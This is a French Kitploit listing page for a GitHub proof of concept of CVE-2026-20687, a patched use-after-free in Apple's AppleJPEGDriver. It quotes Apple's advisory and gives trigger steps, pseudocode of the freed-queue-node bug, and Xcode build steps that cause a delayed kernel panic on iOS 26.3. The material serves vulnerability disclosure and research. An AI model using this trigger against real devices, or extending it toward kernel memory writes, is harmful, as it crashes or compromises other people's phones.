Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-20687-AppleJPEGDriver-UAF — CVE-2026-20687 : AppleJPEGDriver startDecoder Timeout UAF — vulnérabilité du noyau iOS/macOS conduisant à une panique différée (A19 Pro, iOS 26.3 RC) | Kitploit
Outils/GitHubGitHub/0xjohnnydev/cve-2026-20687-applejpegdriver-uaf
Sécurité iOSAnalyse des VulnérabilitésExploitationSécurité MobileExploitation de Binaires
GitHub0xjohnnydev/cve-2026-20687-applejpegdriver-uaf

CVE-2026-20687-AppleJPEGDriver-UAF

CVE-2026-20687 : AppleJPEGDriver startDecoder Timeout UAF — vulnérabilité du noyau iOS/macOS conduisant à une panique différée (A19 Pro, iOS 26.3 RC)

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Voir le dépôt
Site web
28838il y a 2 moisVérifié par Kitploit
Partager

CVE-2026-20687 : Dépassement de délai UAF dans startDecoder() d'AppleJPEGDriver (panic différé)

CVE-2026-20687 | Auteur : Johnny Franks (@0xjohnny)

Composant : Noyau

Impact : Une app peut provoquer une terminaison inattendue du système ou écrire dans la mémoire du noyau

Description : Un problème d'utilisation après libération (use after free) a été corrigé par une meilleure gestion de la mémoire.

— Apple Security Content, iOS 26.4 et iPadOS 26.4

Cela provoquera un kernel panic sur votre appareil. Sauvegardez votre travail.

Testé sur iOS 26.3 (23D125) sur iPhone18,2 (iPhone 17 Pro Max, A19 Pro).

Déclenchement

Déclenchement direct :

  1. Lancez le PoC et appuyez sur Panic (initialise le driver / met en file d'attente le travail asynchrone).
  2. Ouvrez ensuite Camera (cela provoque de manière fiable un décodage JPEG synchrone + un dépassement de délai sur la version affectée).
  3. Le chemin de dépassement de délai libère une requête mais laisse son pointeur de nœud de file d'attente intégré dans le vecteur par codec.
  4. Un parcours ultérieur de la file d'attente déréférence le nœud obsolète et le noyau subit un panic (défaut de vérification de tag MTE).
// PoC : initialise le driver ; le panic est généralement différé jusqu'à l'ouverture de Camera.
IOServiceOpen("AppleJPEGDriver");
for (int i = 0; i < N; i++) {
  startDecoder_async();                   // queue_io_gated(): vector.push(req + 0x78)
}
IOServiceClose(conn);

// Plus tard, l'ouverture de Camera déclenche :
startDecoder_sync();
  queue_io_gated(): vector.push(req + 0x78);
  wait(10s) -> TIMEOUT;
  pool_free(req);                         // BUG : ne retire PAS de la file (req + 0x78)

// Plus tard encore (finish_io_gated) :
fullSpeedRequestExist():
  node_ptr = vector[i];                   // obsolète : node_ptr == (req libéré + 0x78)
  req2 = *(node_ptr + 0x8);              // lecture UAF de req+0x80 -> défaut de tag MTE -> panic

Compilation et exécution

  1. Ouvrez ios-app/Test.xcodeproj dans Xcode
  2. Sélectionnez votre appareil iOS (le simulateur n'est pas utile)
  3. Compilez et exécutez
  4. Appuyez sur le bouton Panic
  5. Ouvrez l'app Camera pour déclencher le panic différé
Télécharger l’outil